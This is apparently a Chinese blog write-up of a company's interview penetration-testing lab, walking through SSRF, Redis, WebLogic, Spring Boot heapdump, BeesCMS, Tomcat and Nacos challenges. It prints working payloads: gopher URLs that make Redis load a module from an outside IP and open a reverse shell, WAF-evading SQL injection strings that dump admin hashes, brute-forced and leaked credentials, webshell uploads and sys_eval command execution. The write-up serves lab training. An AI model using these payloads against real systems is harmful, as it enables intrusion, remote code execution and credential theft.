差一点通关某公司面试靶场

已于 2024-09-10 11:17:36 修改
阅读量930 收藏 10
点赞数 7
分类专栏： WEB笔记 文章标签： 面试 web安全 安全 网络攻击模型 网络安全
于 2024-08-24 10:12:22 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_49288916/article/details/141492808
版权

没有web4和web8，web2的4没做出来。

web1

国光ssrf改版靶场

1

直接读取flag

在这里插入图片描述

3

使用file协议读取hosts

IP为172.18.240.5

在这里插入图片描述

dict探针内网主机开启常见端口

在这里插入图片描述

在这里插入图片描述

172.18.240.1:80
172.18.240.5:3306
172.18.240.1:3306
172.18.240.5:80
172.18.240.5:8080
172.18.240.1:8080
172.18.240.1:6379
172.18.240.7:80
172.18.240.5:6379
172.18.240.7:6379
172.18.240.7:3306
172.18.240.7:8080

172.18.240.7:6379 redis未授权

在这里插入图片描述

因为flag在其他主机上所以使用

在这里插入图片描述

在这里插入图片描述

gopher://172.18.240.7:6379/_flag

gopher://172.18.240.7:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

gopher://172.18.240.7:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%252089.117.123.135%25206668%250d%250aquit

gopher://172.18.240.7:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%252089.117.123.135%25205566%250d%250aquit

在这里插入图片描述

再反弹个稳定的

在这里插入图片描述

配置将frp传到靶机上

在这里插入图片描述

成功转发但是访问不了，不知道网卡还是什么原因

curl -O http://x.x.x.x:9910/frpc.toml

在这里插入图片描述

#frps.ini
[common]
bind_port = 7789

2

又想到用dict读文件，但是之前一直读不出来，后来想了想换个浏览器就读到。。。

dict://172.18.240.7:6379/key:*
dict://172.18.240.7:6379/get:flag

meetsec2{2b7cc5b73fe867cc83546583b858c8ab}

在这里插入图片描述

web2

weblogic，getshell后破解mysql密码

1

使用nmap扫了一下扫到了之前靶场就没必要扫了

在这里插入图片描述

weblogic默认端口7001，直接用工具打，既然成功了。。。

在这里插入图片描述

2

扫描到其他主机

在这里插入图片描述

172.25.20.12:3306

在这里插入图片描述

不想翻了，直接上传linpeas收集信息，哥斯拉编码出了点问题直接看有没有py，有py直接反弹pyshell

在这里插入图片描述

/usr/share/lintian/overrides/passwd



127.0.0.11:46775 

172.16.10.8 
172.25.20.10

在这里插入图片描述

没数据库泄露直接上传fscan扫内网

fscan -h 172.16.10.0/24,172.25.20.0/24

在这里插入图片描述

[*] WebTitle http://172.16.10.1        code:200 len:1925   title:Hello!
[*] WebTitle http://172.16.10.1:8081   code:200 len:11217  title:Apache Tomcat/10.1.28
[*] WebTitle http://172.16.10.1:8848   code:404 len:431    title:HTTP Status 404 – Not Found
[*] WebTitle http://172.16.10.1:8082   code:200 len:15928  title:BEES企业网站管理系统_企业建站系统_外贸网站建设_企业CMS_PHP营销企业网站
172.16.10.1:22 open
172.25.20.1:22 open
172.25.20.10:7001 open
172.16.10.1:80 open
172.16.10.1:7001 open
172.16.10.8:7001 open
172.16.10.1:6379 open
172.16.10.1:8082 open
172.16.10.1:8081 open
172.16.10.1:8848 open

重点目标
172.25.20.12:3306 open

看这些信息很眼熟，还好我先打的下面靶场不然就打偏了。根据靶场题目来看应该就是拿下3306靶场

再自己找找密码

grep -iR passw

在这里插入图片描述

找了半天发现weblogic的密码是加密的

{AES}ZhArsOkXPBA9AvAwRxNxpK4G0WlHlpNFBZVsu+PDlYU=

在这里插入图片描述

find / -name SerializedSystemIni.dat

/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

爆了很多次没爆开

在这里插入图片描述

解开了这么多SerializedSystemIni.dat，具有迷惑性，但是之前那工具也用了这个SerializedSystemIni.dat base64编码的。

在这里插入图片描述

Meetsec#1024

使用frp转发

serverAddr = "x.x.x.x"
serverPort = 7000

[[proxies]]
name = "mysql"
type = "tcp"
localIP = "172.25.20.12"
localPort = 3306
remotePort = 9898

成功拿到flag

meetsec2{9fffac75c84bfc66fef4998f3574c6c8}

在这里插入图片描述

3

meetsec3{2e947aef43be6dc428a9c626ba7fb824}

select version();
select @@basedir;
select sys_eval("ifconfig");
select sys_eval("whoami");
 select sys_eval("cat /flag");

在这里插入图片描述

4

想弹个shell的结果不行，想了想应该是不出网或者命令被限制，应该可以正向连接，由于在hw时间来不及了就没去验证了，有懂的师傅可以为我解惑。

在这里插入图片描述

web3

springboot框架headdump泄露

2

使用dirsearch扫目录

python38 dirsearch.py -e php -u http://119.45.198.10:22883/ --exclude-status 403,401

在这里插入图片描述

扫到了heapdump，使用heapdump工具提取到敏感信息

在这里插入图片描述

org.springframework.security.web.authentication.ui.DefaultLoginPageGeneratingFilter:
[oauth2LoginEnabled = false, formLoginEnabled = false, saml2LoginEnabled = false, logoutSuccessUrl = /login?logout]

org.springframework.security.authentication.dao.DaoAuthenticationProvider:
[hideUserNotFoundExceptions = true, userNotFoundEncodedPassword = {bcrypt}$2a$10$ONnSaC7OXAc/jlz6MGqc8et.dRN/oBt1PqhXNmRZLNUIx.U8Nt1/2]

org.springframework.security.provisioning.MutableUser:
[password = {noop}8kge78k#y%]

org.springframework.security.core.userdetails.User:
[password = {noop}8kge78k#y%, username = actuator]

org.springframework.boot.autoconfigure.security.SecurityProperties$User:
[password = 8kge78k#y%, passwordGenerated = false]

org.springframework.boot.autoconfigure.jdbc.DataSourceProperties:
[password = MeetSec@2nd!2022, url = jdbc:mysql://mysql_heapdump:13306/db, username = meetsec]

com.zaxxer.hikari.HikariDataSource:
[password = MeetSec@2nd!2022, jdbcUrl = jdbc:mysql://mysql_heapdump:13306/db, username = meetsec]

org.apache.catalina.startup.Tomcat:
[hostname = localhost]

使用navicat连接数据库拿到flag

在这里插入图片描述

1

再用工具搜到flag1

在这里插入图片描述

Web5

beescms SQL注入加后台文件上传getshell

cms直接输入admin找登录框，试了弱口令不行，但是burp插件看到有sql注入

在这里插入图片描述

user=admin'order by 5--+&password=123123&code=45ad&submit=true&submit.x=2&submit.y=30

在这里插入图片描述

user=admin' un union ion selselectect 1,2,3,4,5#&password=123123&code=45ad&submit=true&submit.x=2&submit.y=30

在这里插入图片描述

beescms

user=admin'  and and updatexml(1,concat(0x7e,database()),3)--+&password=123123&code=45ad&submit=true&submit.x=2&submit.y=30

在这里插入图片描述

‘~bees_admin,bees_admin_group,bee’

user=admin' and and updatexml(1,concat(0x7e,(selselectect group_concat(table_name) fro from m information_schema.tables wher where e table_schema like database()),0x7e),3)--+&password=123123&code=45ad&submit=true&submit.x=2&submit.y=30

在这里插入图片描述

~id,admin_name,admin_password,ad

user=admin' and and updatexml(1,concat(0x7e,(selselectect group_concat(column_name) fro from m information_schema.columns wher where e table_schema like database() and and table_name like 'bees_admin'),0x7e),3)--+&password=123123&code=45ad&submit=true&submit.x=2&submit.y=30

在这里插入图片描述

meetsec

user=admin' and and updatexml(1,concat(0x7e,(selselectect group_concat(admin_name) fro from m bees_admin),0x7e),3)--+&password=123123&code=45ad&submit=true&submit.x=2&submit.y=30

2446d54c2e68d221db9cff653b01a0e

user=admin' and and updatexml(1,concat(0x7e,(selselectect group_concat(admin_password) fro from m bees_admin),0x7e),3)--+&password=123123&code=45ad&submit=true&submit.x=2&submit.y=30

在这里插入图片描述

md5解码login123

在这里插入图片描述

登录后台找到上传点/admin/upload.php上传webshell，更改文件类型即可绕过文件上传

在这里插入图片描述

web6

tomcat后台爆破+后台上传文件getshell

爆破

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

设置base64编码并取消url编码

在这里插入图片描述

dG9tY2F0OnF3ZTEyMw==

在这里插入图片描述

tomcat:qwe123

在这里插入图片描述

生成webshell压缩为zip后改成war后缀上传

在这里插入图片描述

http://119.45.198.10:8081/123/123.jsp连接哥斯拉拿下flag

在这里插入图片描述

web7

redis未授权，使用info命令查看版本信息，4.0存在rce，可以使用现成的exp打，但是我先手搓了一下写不了定时任务，写不了sshkey，webshell找不到路径，后面去git上找rceexp直接拿下

在这里插入图片描述

在这里插入图片描述

想看看能不能提权的，很多命令不能用，也不通外网。GG

在这里插入图片描述

web9

nacos泄露shirokey

在这里插入图片描述

看到返回包有remeberme，应该是用了shiro，但是不是固定key爆破key没成功。

在这里插入图片描述

sql注入也没有

在这里插入图片描述

这里xray发现了一个可以未授权添加用户
在这里插入图片描述

在这里插入图片描述

post发包但是不行，应该还是shior

在这里插入图片描述

扫描指纹发现了这个nacos，扫目录都没扫出来。

在这里插入图片描述

弱口令进入后台nacos：nacos

找了一下nacos后台rce打不进去。工具爆yaml反序列化也打不进去。这靶场应该不是拿权限，而且这是两个靶机，应该是结合shiro的key，

在这里插入图片描述

一直点不开这个，我还以为是权限不行，想了想用其他浏览器打开结果能打开，应该是插件开太多了。早知道就不会去rce了。

在这里插入图片描述

这里暴露了shirokey，就有思路了。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

强少张
关注
专栏目录
bwapp sql部分
h0ld1rs的博客
08-13 732
文章目录SQL Injection (GET/Search)SQL Injection (GET/Select)SQL Injection (POST/Search)SQL Injection (POST/Select)SQL Injection (AJAX/JSON/jQuery)SQL Injection (CAPTCHA)SQL Injection (Login Form/Hero)SQL Injection (Login Form/User)SQL Injection (SQLite)SQL Inj
靶场攻略 | 网络安全靶场合集
Python_0011的博客
10-11 4008
1JAVA环境。
【Kubernetes】常见面试题汇总（十三）
最新发布
Songyaxuan075118的博客
09-13 369
Kubernetes Scheduler 使用哪两种算法将 Pod 绑定到 worker 节点 预选（Predicates） 优选（Priorities） Kubernetes kubelet 的作用 Kubernetes kubelet 监控 Worker 节点资源是使用什么组件来实现的
【C++ 面试 - 新特性】每日 3 题（九）
Newin2020的博客
09-10 675
✍个人博客：Pandaconda-CSDN博客📣专栏地址：http://t.csdnimg.cn/fYaBd📚专栏简介：在这个专栏中，我将会分享 C++ 面试中常见的面试题给大家~
仕考网：公务员面试流程介绍
SHIkaowang的博客
09-08 370
1.在结构化面试中，当轮到某位考生时，引导员将在候考室宣布其编号，随后考生跟随引导人员前往考场入口。考生在开始考试时需回答自己的考试号，但不得透露姓名，面试过程通常涉及题本或考官直接提问两种方式。2.公务员面试中的无领导小组讨论环节，要求考生在进入考场后自行选择或通过抽签确定座位。此环节所有考生将面对相同题目，并有大约五分钟的时间进行独立准备。考试结束后，考生将在候考室等待成绩公布。通知进面信息——资格审查——面试签到——抽签候考。面试分为结构化和无领导小组两种形式。
面试真题 | web自动化关闭浏览器，quit()和close()的区别
NHB234567的博客
09-13 251
关闭所有的浏览器窗口，销毁driver操作，则需要使用的是quit方法；当打开了多个窗口，只想要关闭非最后一个窗口的时候，使用的是close方法。这些资料，对于【软件测试】的朋友来说应该是最全面最完整的备战仓库，这个仓库也陪伴上万个测试工程师们走过最艰难的路程，希望也能帮助到你！close():只关闭当前的浏览器标签页，如果当前浏览器标签页剩下最后一个，则所有标签页面退出。是否编写过对应浏览器退出的测试用例。quit():所有的浏览器窗口退出。关闭当前的标签页，其他窗口不退出。退出当前所有的窗口；
【保研面试/考研复试】英语口语常见问答（二）
qq_52862974的博客
09-07 661
7.为什么选择跨专业考研？ Tips: 首先跨专业同学要有自信！跨专业并不是缺点，研究生导师也有喜欢交叉学科背景的学生，此时跨专业反而是优点。回答这个问题，要着重向老师展现两个学科融合的优势，展现对研究提供的帮助。其中，加粗字体建议更换为两专业相关词汇。 Firstly, thank you for your question. Crossing disciplines from A to Bbroadens my perspective, enriches my skill set, and fo
Unity面试：MipMap是什么，有什么作用？
m0_67537062的博客
09-10 414
当物体离摄像机较远时，使用较低分辨率的纹理进行渲染，从而提供更清晰、自然的视觉效果。在Unity中，开发者可以在材质的设置中开启MipMap，系统会自动为指定的纹理生成适当的MipMap级别，从而优化游戏的表现。总之，MipMap在Unity 3D中的作用是提高画面质量和渲染性能，使游戏体验更加流畅和真实。这是因为较低分辨率的纹理占用的内存较少，传输到显卡时也能够更快速，从而提高渲染速度。当物体距离摄像机较远时，使用低分辨率的MipMap纹理能够更自然地显示物体的轮廓。
【Kubernetes】常见面试题汇总（五）
Songyaxuan075118的博客
09-09 671
Kubernetes Replica Set 和 Replication Controller 之间的区别 kube-proxy 作用 kube-proxy iptables 原理 kube-proxy ipvs 原理
【OJ刷题】快慢指针问题
道阻且长，行则将至，关注我，和我一起奔赴下一场山海!
09-13 461
写在开头现在您看到的是我的结论或想法，但在这背后凝结了大量的思考、经验和讨论 5. 夹带私货若你能看到看到这篇文章且能看到这，则说明你我有缘，留个关注吧，后面还会接着计算机408、底层原理、开源项目、以及数据、后端研发相关、实习、笔试/面试、秋招/春招、各种竞赛相关、简历相关、考研、学术相关……，祝你我变得更强好的，到此为止啦，祝您变得更强
JVM面试真题总结（六）
月伴飞鱼
09-11 656
不过，对于新生代这样对象存活率较低的区域，复制算法通常是一种非常高效的垃圾收集方式。当Eden区满时，就会触发一次Minor GC，GC会检查Eden区中的所有对象。因此，现代的垃圾收集器通常不单独使用标记-清除算法，而是结合其他算法一起使用。GC（垃圾收集）的标记整理算法是一种用于回收垃圾对象并释放内存空间的方法。复制算法是垃圾收集中的一种常见算法，它主要被用于新生代的垃圾回收。在实际的应用场景中，标记-整理算法通常用于堆内存的垃圾回收。不过，它的代价是需要移动对象，这会增加一定的开销。
面试准备-6
weixin_73775528的博客
09-08 310
NIO底层是用Selector、Channel和ByteBuffer来实现的。主线程在循环使用select方法进行阻塞等待，事件发生的时候，循环就会往下走，将对应的事件交给对应的事件处理器进行处理。他可以多线程的，可以有多个accept()线程和多个worker线程。：是Java NIO中的一个核心概念，用于数据的读写操作。它是双向的，但具体使用时可能只关注读或写操作。常见的Channel有（用于TCP连接）、（用于监听TCP连接）、（用于UDP连接）和（用于文件操作）等。
MyBatis面试
Tony_yitao的博客
09-09 815
MyBatis面试
java面试题-Sql 语句的执行顺序
qq_36178165的博客
09-13 397
Sql 语句的执行顺序
Leetcode面试经典150题-27.移除元素
个人专长：数据结构和算法、大数据、数据库、主流框架
09-09 424
Leetcode面试经典150题-27.移除元素，绝对最优解，同时也是字节面试高频题，务必掌握
软件测试工程师面试整理-测试工具
不务正业的猿
09-13 540
通常，一个项目可能需要使用多种工具结合使用，以覆盖不同的测试需求，如功能测试、性能测试、安全测试和自动化测试。根据不同的测试类型和需求，有许多专业的工具可供选择。特点：支持多种浏览器（如Chrome、Firefox），可以使用多种编程语言（如Java、Python、C#）编写测试脚本。特点：基于关键字的测试，易于扩展，支持与Selenium、Appium等工具集成。特点：支持RESTful API的请求构建和测试，易于使用，支持自动化测试。用途：集成式的自动化测试工具，支持Web、API、移动应用的测试。
全面解析性能测试中的瓶颈分析与优化策略！
MJH827的博客
09-12 543
在软件开发的生命周期中，性能测试是确保应用程序在不同负载下稳定运行的关键步骤。性能瓶颈是导致系统性能下降的主要原因，及时发现并解决这些瓶颈，能够显著提升系统的响应速度和用户体验。本文将深入探讨性能测试中的瓶颈分析方法与优化策略，并通过具体案例展示如何有效地识别和解决性能瓶颈。
海康威视 嵌入式 面经 海康威视嵌入式软件 嵌入式硬件总结面试经验 面试题目汇总
qq_46187594的博客
09-04 4465
整理总结了海康威视嵌入式的面试题目！，可以供大家面试参考。
JVM面试真题总结（四）
月伴飞鱼
09-09 1159
内存泄漏是指程序在申请内存后，无法释放已申请的内存空间，即使程序可能已经不再需要这部分内存。jhat: 用于与jmap 命令搭配使用，分析jmap 生成的 dump 文件。Java提供了一些强大的工具来帮助开发者定位和解决JVM问题。，我们不断地向其中添加数据，但是却忘记从中删除不再需要的数据。jstack: 用于查看JVM 虚拟机当前时刻的线程快照。jstat:用于监视JVM 虚拟机运行时状态信息的命令。jinfo :用于实时查看和调整虚拟机运行参数。jps: 用于显示所有JVM 虚拟机进程。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值